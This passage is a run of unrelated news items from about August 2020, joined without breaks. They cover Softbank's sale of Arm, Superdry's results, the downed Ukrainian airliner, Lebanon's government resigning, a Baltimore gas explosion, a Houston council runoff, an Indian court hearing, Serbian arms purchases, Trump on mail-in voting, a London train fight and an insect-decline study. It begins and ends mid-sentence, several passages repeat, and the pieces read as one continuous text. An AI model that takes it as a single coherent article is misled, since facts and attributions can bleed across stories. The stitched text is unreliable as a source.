fast track the sale and limit political objections, Softbank promised that over a period of five years it would double the size of Arm's workforce in the UK and increase the number of employees overseas. Pledge: Softbank boss Masayoshi Son promised that over a period of five years it would double the size of Arm's workforce in the UK and increase the number of employees overseas The Japanese firm also pledged to keep Arm's global HQ in Britain and to ensure that the ratio of skilled tech employees to the rest of the workforce would be maintained. Monitoring these binding commitments has been a nightmare. Softbank's ownership of Arm was weakened when it hived off the company into its Vision Fund and proceeded to sell 25 per cent to Saudi Arabia and brought in other outside investors. Even more disturbing was the sale of the majority of Arm's China subsidiary, responsible for 20 per cent of group profits, to Chinese investors. The result has been a bare knuckle board fight as Beijing has sought to install regime-friendly directors. Most recently, as a prelude to an Arm disposal, Son has hived off two offshoots to other enterprises in his empire. Such inter-company transactions are generally frowned upon in governance circles especially when the sums involved are obscured. In spite of accumulating huge wealth from his early backing of China's Alibaba internet sensation, Son lost his magic touch with blind backing for WeWork which came close to collapse. To recoup losses, Son is engaged in a big sell-off of investments, including Arm. The initial intention was a flotation, and in what would have been a snub to the London Stock Exchange it looked as if New York was likely to win the mandate. The favoured route now is a trade sale to gaming chip specialist Nvidia, based in New York but with big California operations. It is unclear whether the stipulations in terms of jobs and HQ imposed on Softbank at the time of the Arm purchase would survive in a 25billion offload. As worrying is that the commitments made by Softbank run out in July 2021. The mismatch between the time scale it takes to develop complex technology, such as software incorporated in a microchip, and the ease with which companies are bought and sold in Anglo-Saxon capitalism could not be greater. Sharma's predecessor at the Department for Business, Energy and Industrial Strategy, Andrea Leadsom, made a big error when she refused to block the sale of aerospace pioneer Cobham. Boris Johnson's government is seeking to recover British-owned satellite skills, some of which were present within Cobham. Sharma should intervene immediately to ensure the Softbank promises made in 2016 are honoured, and should seek an extension of the jobs and HQ promises from any new owner. Anything short of that would be a betrayal of the Government's plans to fire up R&D and the white heat of UK technology. Comeback kid The rambunctious return of founder Julian Dunkerton to fashion outfit Superdry in April 2019 looked fraught with danger. But at a moment when so many fashion chains have tumbled into insolvency as Covid-19 hastened their demise, Superdry is showing resilience. Admittedly sales fell by 24 per cent in the quarter ending on July 25, but given this was the period when the pandemic was at is most savage this is not a bad outcome. The quirky firm restricted sales losses with the help of a 93.2 per cent uplift in online purchases. It also managed to put in place a 70million new credit facility with the help of HSBC. Investors piled back in and the shares soared 20 per cent. Yatta! (We did it). Northern lights Sheffield-based developer Henry Boot is not giving up on city centres. It has just spent 10million on a redevelopment property in the up and coming St John's area of Manchester. It plans to redevelop the soon-to-relocate Manchester College site into 170,000 sq ft of commercial space. Levelling up... Source: Xinhua| 2020-08-11 21:24:53|Editor: huaxia Video Player Close KIEV, Aug. 11 (Xinhua) -- Iran will have to pay compensation for the downed Ukraine International Airlines (UIA) plane, either directly or to the relevant insurance companies, Ukrainian Deputy Foreign Minister Yevgeny Yenin has said. "It is difficult for me to imagine the possibility of the Iranian side avoiding responsibility for the downed Ukrainian Boeing ... During the bilateral talks, the Iranian side reaffirmed its readiness to compensate for the losses, including the UIA, whose representatives were invited to talks on the Ukrainian side," Yenin wrote on his Facebook account on Tuesday. Yenin's words followed a statement from the chief of Iran's Central Insurance Organization, Gholamreza Soleimani, that the Iranian side does not intend to compensate UIA. "The Ukrainian plane is insured by European companies in Ukraine and not by Iranian companies," Soleimani said Monday. "Therefore, the compensation should be paid by those European companies," Soleimani was quoted as saying by Tehran Times daily. Last month, the Iranian delegation joined the negotiation process in Kiev to establish the circumstances of the UIA jet downing on Jan. 8. The Ukrainian passenger plane was hit by Iranian missiles after taking off in Tehran's air space, leaving all 176 people on board dead, with Iran later saying its forces "accidentally" shot down the plane. On July 24, an international team in Paris completed a preliminary investigative analysis of the data extracted from the plane's black boxes. Iran's Minister of Transport and Urban Development Mohammad Eslami said on Sunday that the final report on the Ukrainian plane crash will be published soon. Enditem The decision comes after several ministers and lawmakers resigned, but calls continued for the entire government to go, including in mass demonstrations Saturday and Sunday. After addressing the nation, Diab went to the presidential palace where President Michel Aoun accepted the government's resignation. Diab's government will now be a caretaker until new elections are held. He did not say when that would be, but he had previously said he would draft legislation calling for early elections. Diab had formed his government in January after a protracted political crisis. He laid the blame for the country's myriad problems at the feet of the political elite, who have ruled Lebanon since the end of the civil war nearly 30 years ago. He said they have caused political and economic devastation and brought about last week's tragedy and he called for accountability. "We want to open the door to national rescue, a rescue that the Lebanese will participate in achieving," Prime Minister Hassan Diab said in a televised speech. "Therefore, today I announce the resignation of this government. May God protect Lebanon." Lebanon's prime minister announced his government's resignation Monday night in the aftermath of last week's devastating explosion at the Port of Beirut and the public protests that followed. Ahead of Diab's announcement, protesters gathered in central Beirut near the parliament building. There were clashes with security forces and the Lebanese Red Cross reported transporting seven injured people to the hospital and treating nearly 40 others on the scene. The massive blast, which killed at least 160 people, injured thousands and left more than 250,000 homeless, has been blamed on the detonation of 2,750 metric tonnes of ammonium nitrate that had been improperly stored for six years at the Port of Beirut. In New York, UN Secretary-General Antonio Guterres said the voices of the Lebanese people must be heard. "It is important that a credible and transparent investigation determine the cause of the explosion and bring about the accountability demanded by the Lebanese people," Guterres told a humanitarian briefing on Lebanon. His spokesperson said the UN stands ready to assist with an investigation, should the Lebanese authorities request it. International solidarity with Lebanon has been strong and immediate. On Sunday, at a donor's conference co-hosted by French President Emmanuel Macron and the United Nations, world leaders pledged nearly US$300 million to help the country -- already reeling from political, economic and health crises -- recover from the explosion. Ahead of the conference, the United States made an initial pledge of $17 million in disaster aid, including food and medical supplies. Rebuilding is expected to cost billions of dollars. Economists have forecast the damage could erase up to 25 percent of the country's economic output. UN agencies are also on the ground assisting the population with food assistance, emergency shelter materials and search and rescue teams. "The scale of the loss is so vast, it is likely every single person in Lebanon has been touched by this event," said Najat Rochdi, the UN Resident and Humanitarian Coordinator for Lebanon. A top priority is getting a small part of the port operational in order to bring in food, medical supplies and construction materials. "Working with the Lebanese army, we believe we can clear part of that site and have it operational in two to three weeks," UN World Food Program Chief David Beasley said from Beirut. Of particular concern is the country's supply of grain and wheat, which was largely destroyed in silos housed at the port. The UN says the country has only about a month's supply left before there could be serious food shortages. About 80 percent of Lebanon's food is imported. A 20-year-old college student has been identified as the second victim who was killed in the Baltimore gas explosion on Monday. Joseph Graham Jr, who was a student at Morgan State University, a historically black university in Baltimore, was identified by family members as being the second victim pulled from the rubble early Tuesday morning. According to the Baltimore Sun, Graham's uncle, Isaac, said that his nephew had attended a party with one of his best friends on Sunday and decided to spend the night at a home on Labyrinth Road. That home was one of three residences that were completely flattened during the blast, which sparked a massive rescue operation that involved bringing in more than 200 emergency personnel in a desperate search for survivors. The explosion occurred just before 10am Monday morning and caused severe damage to other homes on the block. Graham's uncle described him as a 'good kid' who was a rising junior at Morgan State. Scroll down for video Joseph Graham Jr, who was a student at Morgan State University, a historically black university in Baltimore, was identified by family members as being the second victim pulled from the rubble early Tuesday morning Rescuers pulled Graham's body from the rubble just before 1am Tuesday morning, bringing the death toll to two Maryland Gov Larry Hogan tweeted about Graham's death on Tuesday: 'We are deeply saddened that another Marylander lost his life in yesterday's horrific explosion in northwest Baltimore' He had also recently launched his own clothing line called Chase a Plate and was a YouTuber who had more than 7,000 subscribers. Graham's friend, Ty'lor Schnella, said he was always smiling, and was always the happy one among their group of friends at Baltimore City College high school. Schnella told the Baltimore Sun that Graham 'was always the one that kept everyone uplifted, kept your spirits high'. Maryland Gov Larry Hogan tweeted about Graham's death on Tuesday: 'We are deeply saddened that another Marylander lost his life in yesterday's horrific explosion in northwest Baltimore. 'We continue to pray for the families of the victims and for all those injured and displaced by this terrible tragedy.' Rescuers pulled Graham's body from the rubble just before 1am Tuesday morning, bringing the death toll to two. One woman was found dead and seven were seriously injured in the hours after the gas explosion that rocked the neighborhood at Labyrinth and Reisterstown Road. Authorities have not publicly identified Graham or the second victim. Initially one woman was found dead and seven were seriously injured in the hours after the gas explosion that rocked the neighborhood at Labyrinth and Reisterstown Road Neighbors were gathered outside the explosion site Monday morning as they watched first responders Emergency responders pictured combing through the rubble of the three homes to look for survivors Monday The shock blast ripped through and completely flattened three row homes, sparking a massive rescue operation that involved drafting in more than 200 emergency personnel in a desperate search for survivors Fire Department spokesperson Blair Adams said at a press conference Tuesday morning that there are no other reports of missing persons. 'This was a really tough time for the community, for the residents of this neighborhood and the fire department.' Of the seven surviving victims, five remain in critical condition at local hospitals, she said. The ages and genders of the seven people who have been hospitalized have not been released. Graham's aunt Sunshine Evans told ABC 2 WMAR Baltimore that her nephew was one of three relatives who had been inside one of the collapsed homes. The other two - her other nephew Damon Evans and his mother - had been rescued and taken to a hospital, she said. Horrifying images of the aftermath showed bricks and rubble were all that remained where the homes once stood. The windows in more than a dozen nearby properties were blown out from the force of the explosion and residents reported hearing the blast several blocks away. Initial reports said five people, including children, were trapped under the flattened homes. Health workers transport a body at the scene of the blast Monday. Fire Department spokesperson Blair Adams said at a press conference Tuesday morning there are no other reports of missing persons Firefighters transport an injured person on a stretcher at the scene of the explosion in the residential area Monday Children were heard screaming for help after the deadly explosion leveled three homes More than 200 emergency responders combed the scene for survivors throughout the day, finding four other survivors during the intense mission and Graham's body early Tuesday. At one point, firefighters were seen using a chainsaw to cut through the roof of a collapsed building and search dogs were brought in to look for signs of life. One eyewitness Kevin Matthews, who has lived on Labyrinth Road for 28 years, told the Chicago Tribune that he rushed to the scene of the explosion and could hear the cries of children trapped under the homes. 'Come get us! We're stuck!' he heard children screaming from the rubble before the emergency services arrived. He said he ran from his home barefoot after hearing the blast and could smell gas and smoke. 'It was catastrophic. It was like a bomb, like you watch things in other countries where they have like bombings and things like that,' Dean Jones told CBS Baltimore. This image shows the homes before they were destroyed in the explosion on Monday 'It was like watching that in real life. Telephone poles split, I mean, houses down the block, broken glass. 'When I initially got there, I could hear a voice just saying help. It's crazy. It's something I don't ever wanna see ever again - I don't want to relive it ever again.' Another survivor Major Watkins Jr, an 88-year-old army veteran whose home was completely destroyed in the explosion, told The Baltimore Sun the blast 'sounded like Korea'. Around 30 residents were given temporarily shelter Monday night and would not be able to return to their homes Tuesday, amid fears the neighboring properties could also be in danger of collapse. Nearly 200 people in the surrounding area were affected by the explosion. An investigation into the cause of the blast is ongoing. Baltimore Fire confirmed it was a gas explosion Monday but the details remain unclear. The identities of the two people killed have not been released by authorities, but they have been confirmed as an adult male and adult female Baltimore Gas and Electric reported that no gas leaks have been found on Labyrinth Road or any surrounding buildings. The gas system infrastructure in the area dates back to the early 1960s, and BGE asked the Maryland Public Service Commission in 2018 to approve a new infrastructure and a cost recovery mechanism to pay for upgrades needed to close the system's many leaks. 'Founded in 1816, BGE is the oldest gas distribution company in the nation. Like many older gas systems, a larger portion of its gas main and services infrastructure consists of cast iron and bare steel - materials that are obsolete and susceptible to failure with age,' BGE said at the time. The blast comes after a series of other gas leaks in Maryland in recent years amid ongoing complaints that the infrastructure is in need of repair. Last year, a gas explosion ripped the front off an office complex in Columbia, housing more than 20 businesses. The explosion occurred on a Sunday morning, meaning no one was in the building at the time and there were no victims. This followed a gas main break in 2016 which forced the evacuation of the Baltimore County Circuit Courthouse and a similar evacuation at the offices of Under Armour after a gas main break in 2012. Hearst Connecticut Media / Tara O'Neill NEW HAVEN The 17-month-old child who was in critical condition after an apparent overdose over the weekend has died, police said Tuesday. Her death remains under investigation by the Special Victims Unit, according to police Capt. Anthony Duff. An appeals court cleared the way for a District B runoff by upholding the decision to leave a candidate with a felony conviction on the ballot. Renee Jefferson-Smith, who filed the lawsuit and was the third-place candidate in the race, said she does not plan to appeal the ruling, which would effectively end the nine-month dispute. Jefferson-Smith had argued the candidate that finished ahead of her and qualified for a runoff, Cynthia Bailey, was ineligible to hold office because of a 2007 felony conviction for theft. I am pleased with the courts decision and I pray that Cynthia Bailey and Tarsha Jackson remain safe as they continue on with their campaigns to become the next City Council Woman for District B, Jefferson-Smith said in a statement. Its been long enough and the District deserves to know who will represent them. My family and I are truly excited about the opportunity to move forward and focus on whats ahead in our lives. District B, which stretches from Greater Fifth Ward to Greenspoint and is home to roughly 200,000 residents, has gone nearly a year without a new city council representative amid the contentious lawsuit. The incumbent, Jerry Davis, has remained in the seat to ensure those residents have representation at City Hall. Even with Tuesdays ruling, it is not yet clear when an election can be held. Attorneys involved in the case said they believe it will return now to the lower court, where visiting judge Grant Dorfman may convene a hearing to consult with city and county lawyers and then order a new election date. In February, he ordered a May 2 election that was later derailed amid appeals. One wrinkle is that the Texas Election Code mandates the runoff be held on the same day of the week as the original election, which was a Saturday, according to Assistant Harris County Attorney Doug Ray. That would mean the District B race cannot go on the Nov. 3 ballot, he said. Tarsha Jackson, the top finisher in the November election, said she was pleased with the courts ruling, though she is waiting to see what happens next. Im happy a decision is made and we can again attempt to move forward, Jackson said. It gives us hope were getting closer to electing a representative in District B. Bailey did not immediately respond to requests for comment. Oliver Jason Brown, her attorney, hailed the ruling. We won again! he said. The central question of the case is whether Bailey, who finished second and qualified for the runoff with Jackson, is eligible for office despite her felony conviction. Jefferson-Smith had argued she is not. Jefferson-Smith filed two lawsuits seeking to have Bailey removed from the runoff ballot. The Court of Appeals for the First District of Texas, like others that have handled the case, did not address directly the question of Baileys eligibility. A state statute says candidates cannot have felony convictions from which they have not been pardoned or otherwise released from the resulting disabilities, but it does not define that phrase, which has led to varying interpretations and enforcement. Instead, the court addressed Jefferson-Smiths claim that the City of Houston erred in administering the election by failing to declare Bailey ineligible. Her team had sent the city a packet of documents, after the election but before the vote was certified, proving Bailey was convicted. A trial court judge said the packet which included the 2007 judgment against Bailey, and an opinion from the Attorney General saying that completing a sentence does not clear a candidate to run for office did not conclusively prove Bailey was ineligible because it did not say whether she had been pardoned or otherwise released. (Bailey has argued she is released because she completed her sentence.) In a decision posted after midnight, the three-justice panel of the First Court of Appeals agreed. Because the documents that Jefferson-Smith presented to the Mayors Office in connection with her Demand for Administrative Declaration of Ineligibility present a fact question whether Bailey has been pardoned or otherwise relieved of her disabilities that the Mayor had no authority to resolve, the Mayor had no duty imposed by law to declare Bailey ineligible and made no mistake in declining to do so, Chief Justice Sherry Radack wrote. Candidates who run for office in Houston check a box on their application form swearing they have not been finally convicted of a felony. The city verifies they have checked the box but does not vet their accuracy. In the first lawsuit, district and appeals courts declined Jefferson-Smiths requests for emergency orders to remove Bailey from the December runoff ballot. The District B race was pulled from that ballot when Jefferson-Smith filed a second lawsuit formally contesting the results. The citys other fifteen council members were sworn into their seats in January and have been serving throughout the year. On Tuesday, August 11, 2020, the Supreme Court heard Rhea Chakraborty's plea requesting a transfer of probe from the Bihar Police to Mumbai Police with respect to Sushant Singh Rajput's death case. Rhea and her family were named in an FIR registered by Sushant's father, K.K. Singh, with the Bihar Police on July 26, 2020. During the hearing, Rhea told the apex court through her lawyer Shyam Divan, that she was in love with Sushant and that she was traumatized after his death. "But I am being victimized now," she added. Sushant Sushant ; | FilmiBeat Her lawyer alleged that there is political influence behind the FIR filed in Bihar, and that the Bihar Police should have transferred the case. Meanwhile, Vikas Singh, who is representing Sushant's father K.K. Singh, said quoting the latter, "I am from Patna and without my son I have no one to light my funeral pyre." K.K. Singh added, "No one has seen my son hanging. When my daughter reached, Sushant was lying on the bed. This needs investigation." Responding to the objection that the FIR in Patna was filed 38 days after Sushant's death, Vikas Singh said, "As soon as mourning is over, he (KK Singh) registered the FIR in Patna." He also told the bench, "Father and sister of Sushant Singh Rajput were alienated. Father repeatedly wanted to talk to Sushant but Rhea did not reply. She had already distanced the sister. Look at the mark on his neck its a belt mark not a rope! If he was murdered it needs to be investigated." The Supreme Court has reserved judgment on the matter. The next hearing has been scheduled for Thursday, August 13, 2020. Worried about your mental well-being or of someone you know? Help is just a call away. Reach out to the nearest mental health specialist at COOJ Mental Health Foundation (COOJ)- 0832-2252525, Parivarthan- +91 7676 602 602, Connecting Trust- +91 992 200 1122/+91-992 200 4305 or Sahai- 080-25497777/ SAHAIHELPLINE@GMAIL.COM ALSO READ: Sushant's Death Case: WhatsApp Texts Reveal KK Singh Had Reached Out To Son Via Rhea And Shruti ALSO READ: Shruti Modi Alleges Rhea Chakraborty Made Financial And Professional Decisions For Sushant Raigad: The sword of the Chhatrapati Shivaji statue installed at the Raigad Fort was found damaged, leading to tension in Kolhapur district. Police said a nearly four-inch portion of the nearly 40 inches long sword of the statue was found damaged on Saturday. An official of the heritage department, which puts a garland around the statue every morning, found it broken and informed the police. Subsequently, an offence under IPC section 379 (theft) and relevant provisions of Ancient Monuments Preservation Act has been registered by the Mahad police in Raigad, located adjoining Mumbai. A sculptor from Kolhapur will soon repair the statue. The news of the incident led to tension in Kolhapur district. A large crowd of the Maratha warrior kings admirers gathered at the Shivaji chowk area in Kolhapur last night and sought immediate action against the culprits. Kolhapurs acting Collector Nandkumar Katakar reviewed the situation and assured the crowd that the damaged portion of the sword would be restored and CCTVs would be put up around the statue at the historic Fort. He also spoke to Kolhapur Guardian Minister Chandrakant Patil and Raigad Collector regarding the issue. Following his assurance, those gathered at the Shivaji chowk left the place. Notably, social activist Sambhaji Raje Chhatrapati, a descendant of the 17th century Maratha king and a Rajya Sabha member, along with some other people from Kolhapur had contributed to the installation of the statue. For all the Latest India News, Download News Nation Android and iOS Mobile Apps. BRONX, N.Y., Aug. 11, 2020 /PRNewswire/ -- Chemotherapy usually cures children diagnosed with acute lymphoblastic leukemia (ALL), but the treatment may hamper brain development and impact key cognitive functions including sensory processing, memory, and attention. Researchers at Albert Einstein College of Medicine, Children's Hospital at Montefiore (CHAM), and Rutgers Cancer Institute of New Jersey have received a five-year, $4.6 million grant from the National Institutes of Health (NIH) to determine how chemotherapy exerts its damaging effects on the brain. Their long-term objective is to use this information to develop protective interventions that can prevent permanent harm. ALL is the most common cancer among children and teenagers in the United States. More than 3,000 new cases are reported annually, representing 20% of all cancers diagnosed in people under age 20. The standard treatment cures nearly 90% of children but requires two years of often intense chemotherapy. "While the phenomenon of 'chemo brain' is widely acknowledged, we don't know enough about how it affects children's brain developmentand how significant and long-lasting the effects are," said lead investigator Elyse Sussman, Ph.D., professor in the Dominick P. Purpura Department of Neuroscience and of otorhinolaryngologyhead and neck surgery. "Our study will investigate how chemotherapy disrupts sensory processing, memory, and attention in children; where in the brain the damage is occurring; and whether there is a biomarker that can identify those who are most vulnerable. This is the first study of its kind to look at these details of cognition, brain development, and changes over time." At Rutgers, the study will be led by Peter Cole, M.D., chief of pediatric hematology/oncology in the Hugs for Brady Foundation Pediatric Cancer Research Lab. Using an animal model, Dr. Cole has found that chemotherapy results in overstimulation of certain brain receptors, and has identified ways to block these receptors, protecting against the damage caused by chemotherapy. Last year, Dr. Sussman and Dr. Cole published a study characterizing the sensory, memory, and attention abilities in children who had survived ALL. Dr. Cole is also conducting studies at Rutgers on why some pediatric cancer survivors experience greater amounts of cognitive impairment than others and whether genes and environmental factors play a role in the variability. "Children are susceptible to the damaging effects of cancer therapy because their brains continue to go through stages of structural change and development until young adulthood. By better understanding the impact of chemotherapy exposure at a biological level and determining the impact of that exposure on cognitive function in this population, clinicians can be better guided on how to individually tailor treatment to reduce toxicity. Our hope is that this will enable us to reduce or eliminate late effects of treatment that persist into the survivorship years," noted Dr. Cole, who is also the Embrace Kids Foundation Endowed Chair in Pediatric Hematology/Oncology at Rutgers Cancer Institute and professor of pediatrics at Rutgers Robert Wood Johnson Medical School. The new study will include 240 children between the ages of five to 12 years old at Children's Hospital at Montefiore and the Rutgers Cancer Institute. The team at Einstein will work closely with Lisa Gennarini, M.D., director of hematologic malignancies at CHAM and assistant professor of pediatrics at Einstein. Children will be eligible if they have been finished with treatments for 12 months or more. The researchers will study electrical activity in the brains of study participants during hearing tests and other cognitive assessments. "We plan to merge those results with functional magnetic resonance imaging (fMRI) aimed at showing the precise locations of brain activity during attention, memory, and sensory processing tests," said co-primary investigator Mark Wagshul, Ph.D., associate professor of radiology and of physiology and biophysics at Einstein. The tests will be repeated a year later. The researchers hope to identify abnormal patterns of neuroconnectivity and learn how cognitive skills are affected in children who have received chemotherapy. "Once we find out what is involved in the cognitive dysfunction caused by chemotherapy, we hope to develop treatment strategies to protect the most vulnerable children," said Dr. Sussman. The grant, titled "Characterization of brain dysfunction during development in survivors of childhood acute lymphoblastic leukemia," was awarded by the National Cancer Institute, part of the NIH (1R01CA240360-01A1). About Albert Einstein College of Medicine Albert Einstein College of Medicine is one of the nation's premier centers for research, medical education and clinical investigation. During the 2019-20 academic year, Einstein is home to 724 M.D. students, 158 Ph.D. students, 106 students in the combined M.D./Ph.D. program, and 265 postdoctoral research fellows. The College of Medicine has more than 1,800 full-time faculty members located on the main campus and at its clinical affiliates. In 2019, Einstein received more than $178 million in awards from the National Institutes of Health (NIH). This includes the funding of major research centers at Einstein in aging, intellectual development disorders, diabetes, cancer, clinical and translational research, liver disease, and AIDS. Other areas where the College of Medicine is concentrating its efforts include developmental brain research, neuroscience, cardiac disease, and initiatives to reduce and eliminate ethnic and racial health disparities. Its partnership with Montefiore, the University Hospital and academic medical center for Einstein, advances clinical and translational research to accelerate the pace at which new discoveries become the treatments and therapies that benefit patients. Einstein runs one of the largest residency and fellowship training programs in the medical and dental professions in the United States through Montefiore and an affiliation network involving hospitals and medical centers in the Bronx, Brooklyn and on Long Island. For more information, please visit www.einstein.yu.edu, read our blog, follow us on Twitter, like us on Facebook , and view us on YouTube. About Montefiore Health System Montefiore Health System is one of New York's premier academic health systems and is a recognized leader in providing exceptional quality and personalized, accountable care to approximately three million people in communities across the Bronx, Westchester and the Hudson Valley. It is comprised of 10 hospitals, including the Children's Hospital at Montefiore, Burke Rehabilitation Hospital and close to 200 outpatient care sites. The advanced clinical and translational research at its' medical school, Albert Einstein College of Medicine, directly informs patient care and improves outcomes. From the Montefiore-Einstein Centers of Excellence in cancer, cardiology and vascular care, pediatrics, and transplantation, to its' preeminent school-based health program, Montefiore is a fully integrated healthcare delivery system providing coordinated, comprehensive care to patients and their families. For more information please visit www.montefiore.org. Follow us on Twitter and view us on Facebook and YouTube. About Rutgers Cancer Institute of New Jersey As New Jersey's only National Cancer Institute-designated Comprehensive Cancer Center, Rutgers Cancer Institute, along with its partner RWJBarnabas Health, offers the most advanced cancer treatment options including bone marrow transplantation, proton therapy, CAR T-cell therapy and complex robotic surgery. Along with clinical trials and novel therapeutics such as precision medicine and immunotherapy many of which are not widely available patients have access to these cutting-edge therapies at Rutgers Cancer Institute of New Jersey in New Brunswick, Rutgers Cancer Institute of New Jersey at University Hospital in Newark, as well as through RWJBarnabas Health facilities. SOURCE Albert Einstein College of Medicine Related Links www.einstein.yu.edu Serbia is considering buying a modern Chinese air defense missile system, the Serbian president said Tuesday, as the United States warned that such deals with Beijing could jeopardize the Balkan country's proclaimed European Union membership goals. Aleksandar Vucic said that we were thinking, but we have not yet purchased the FK-3 system the export version of the Chinese last-generation, medium range HQ-22 anti-aircraft system. Serbia, which has been beefing up its military mainly with Russian aircraft and armored vehicles, last month received six Chinese CH-92A attack and reconnaissance drones. That made Serbia the first European country to deploy the Chinese unmanned aerial vehicles. The U.S. Embassy in Belgrade said that procuring military and defense equipment is a sovereign decision. However, governments should understand the short- and long-term risks and costs involved in doing business with Chinese companies. Procurement choices should reflect Serbia's stated policy goal of greater European integration, an embassy statement said. Alternative vendors which are not beholden to authoritarian regimes offer equipment that is both capable of meeting Serbia's defense need and comparable in quality and cost. Reacting to the statement, Vucic said: Whenever we decide to buy something, somebody has something against it. He claimed that the FK-3 anti-aircraft system is not on the list of U.S. sanctions against China and that the purchase depends on the financial terms of the deal. We will make the decision as a free and sovereign country, Vucic said. The Russian and Chinese arming of Serbia, as well as their growing political and economic influence in the Balkan state, is being watched with unease in the West and among Serbia's neighbors. Tensions are growing in the Balkans, which went through a devastating civil war in the 1990s. NATO intervened in Serbia to stop a bloody Serb crackdown against Kosovo Albanian separatists in 1999. Serbia, which formally wants to join the EU, declared military neutrality in 2006 and joined NATO's Partnership for Peace outreach program. Its populist leadership is against membership in the Western military alliance although most of Serbia's neighbors are within NATO. Asked about the latest arming of Serbia with the modern Chinese air defense system, a NATO official who spoke on customary condition of anonymity said defense procurement is a national decision. Serbia has the right to freely choose its political and security arrangements. NATO and Serbia are close partners and we are committed to strengthening our partnership with Serbia, while fully respecting its policy of neutrality, the official said. (Only the headline and picture of this report may have been reworked by the Business Standard staff; the rest of the content is auto-generated from a syndicated feed.) President Donald Trump asserted on Monday that a force other than foreign adversaries was interfering in U.S. elections: Democrats. Ill tell you who was meddling in our elections, the president said at a White House news briefing. The Democrats are meddling by wanting and insisting on sending mail-in ballots when theres corruption all over the place. Trump had just rebuffed a question on whether he had confronted President Vladimir Putin of Russia on reported efforts to meddle in U.S. elections. Instead, he said Democrats were playing unfairly by pushing for more mail-in ballots because of the coronavirus pandemic. Trump has repeatedly lambasted Democrats for advocating mail-in voting, claiming with no evidence that it is a ploy to help them win the election by opening the doors to voter fraud. But Trump struck a new tone Monday in equating Democrats to authoritarian governments actively trying to undermine American democratic institutions. The presidents remark come after the director of the National Counterintelligence and Security Center, Bill Evanina, said publicly that Russia was vying to sway the election in Trumps favor and that China and Iran were hoping for a Joe Biden victory. Russian interference has always been a sore spot for Trump, who has denied reports by his own intelligence officials that Moscow interfered in the 2016 elections. He has dismissed the claims as a witch hunt, particularly suggestions that those efforts could have been tied to his campaign. Democrats have been pushing for a shift to mail-in voting, fearing that polling places could become hotbeds for spreading the coronavirus. Despite Trumps protestations, there is little evidence that mail-in voting allows more fraud than in-person voting, and a handful of states already conduct elections entirely by mail. Still, several state leaders and Democrats expressed concerns about the U.S. Postal Services ability to handle a national election as the new Trump-appointed postmaster general, Louis DeJoy, makes cuts in the service in the name of reducing costs. Postal workers have complained about increased delays amid DeJoys changes, and voters are being encouraged to send in their ballots as soon as they can. This is the shocking moment a fist fight breaks out on a packed London train after a expletive-ridden war of words between passengers 'because one was not wearing a face mask'. The two men are seen coming to blows after a two-minute-long slanging match on the train as it headed south towards Streatham Common. Some viewers believe the row erupted after the man in the yellow jacket made a comment towards another passenger. Others say the argument was because the man in the yellow jacket was 'not wearing a face mask'. It is currently a legal requirement to wear a face covering on any form of public transport in England, unless there is a valid medical reason not to. The video begins with two men, one wearing a face mask around his neck and the other not wearing a face mask, seen squaring up to each other as the man in the yellow jacket challenges the other man to 'get off at Streatham Common'. The video begins with two men, one wearing a face mask around his neck (right) and the other not wearing a face mask (left), seen squaring up to each other as the man in the yellow jacket challenges the other man to 'get off at Streatham Common' The man in the yellow jacket repeatedly challenges his opponent to 'get off at Streatham Common,' prompting the other man to say 'do it on the train' As the pair separate, the man in the black jacket says: 'You've got a problem with me, you are looking at me, I asked you the question' As the pair separate, the other man says: 'You've got a problem with me, you are looking at me, I asked you the question.' While the pair are arguing, the man in the yellow jacket is seen to point to a woman who he tells to 'shut the f*** up as well'. The other man then asks what his problem is with the woman, prompting the man in the yellow jacket to reply: 'She was getting involved as well,' before telling the man: 'you started on me.' The man in the yellow jacket repeatedly challenges his opponent to 'get off at Streatham Common,' prompting the other man to say 'do it on the train.' He replies: 'There are too many witnesses,' before repeatedly telling him 'get off at Streatham Common' and 'shut your mouth.' Things appear to simmer down when the other man sits down. But the pair continue to exchange threats and insults, as the man in the yellow jacket appears to become increasingly frustrated. Things appear to simmer down when the other man sits down. But the pair continue to exchange threats and insults, as the man in the yellow jacket appears to become increasingly frustrated The pair then exchange punches before tumbling to the ground as the man in the yellow jacket manages to get on top of his opponent Other passengers then get involved as witnesses call for calm while the two men are still on the floor The man in the yellow jacket then kicks the hand of the other man, prompting him to stand up, before he taunts him by saying 'go on, go on.' The pair then exchange punches before tumbling to the ground as the man in the yellow jacket manages to get on top of his opponent. Other passengers then get involved as witnesses call for calm. Seconds before the video ends, with both men still on the floor, the man in the yellow jacket is heard to say: 'You started it for now reason.' MailOnline has contacted the British Transport Police (BTP) for comment. In recent years, the notion of an insect apocalypse has become a hot topic in the conservation science community and has captured the publics attention. Scientists who warn that this catastrophe is unfolding assert that arthropods a large category of invertebrates that includes insectsare rapidly declining, perhaps signaling a general collapse of ecosystems across the world. Starting around the year 2000, and more frequently since 2017, researchers have documented large population declines among moths, beetles, bees, butterflies and many other insect types. If verified, this trend would be of serious concern, especially considering that insects are important animals in almost all terrestrial environments. But in a newly published study that I co-authored with 11 colleagues, we reviewed over 5,000 sets of data on arthropods across North America, covering thousands of species and dozens of habitats over decades of time. We found, in essence, no change in population sizes. These results dont mean that insects are fine. Indeed, I believe there is good evidence that some species of insects are in decline and in danger of extinction. But our findings indicate that overall, the idea of large-scale insect declines remains an open question. The debate For most scientists, the idea of disappearing insects is a foreboding prospect that would have harmful repercussions for all aspects of life on Earth, including human well-being. But some scholars were skeptical of the reported insect apocalypse. A number of studies that showed broad declines were limited geographically, focusing mainly on Europe. Typically these studies analyzed only a few species or groups of species. Some particularly long-running assessments showed that declines in the past 30 years occurred after periods when the relevant insect populations increased. Many insect populations are known to naturally fluctuate, sometimes dramatically. Many scientists concluded that while the prospect of mass insect losses was concerning, the jury was still out on what was actually happening. Spotlighting North America Ecologist Bill Snyder and I thought that the studies suggesting widespread insect die-offs produced an intriguing pattern with important ramifications, but that the evidence wasnt strong enough yet to draw conclusions. We wanted to examine what was happening in North America, which has an immensely diverse landscape and, surprisingly to us, had not been broadly analyzed for insect declines. For our study, we decided to use data from sites in the Long Term Ecological Research network, which is supported by the National Science Foundation. The network includes 28 sites across the U.S. that have been studied in depth since the 1980s, and covers deserts, mountains, prairies and forests. With almost 40 years of data collected, we hoped trends at these sites would be a good complement to European insect studies. We put together a 12-person team that included six undergraduate students, post-doctoral scholars Michael Scott Crossley and Amanda Meier, and colleagues from the U.S. Department of Agriculture. When we finished compiling our data sets, at least some of us expected to see broad insect declines. Instead, the results left us perplexed. Some species we considered declined, while others increased. But by far the most common result for a species at a particular site was no significant change. The vast majority of our species had stable numbers. At first we thought we were missing something. We tried comparing different taxonomic 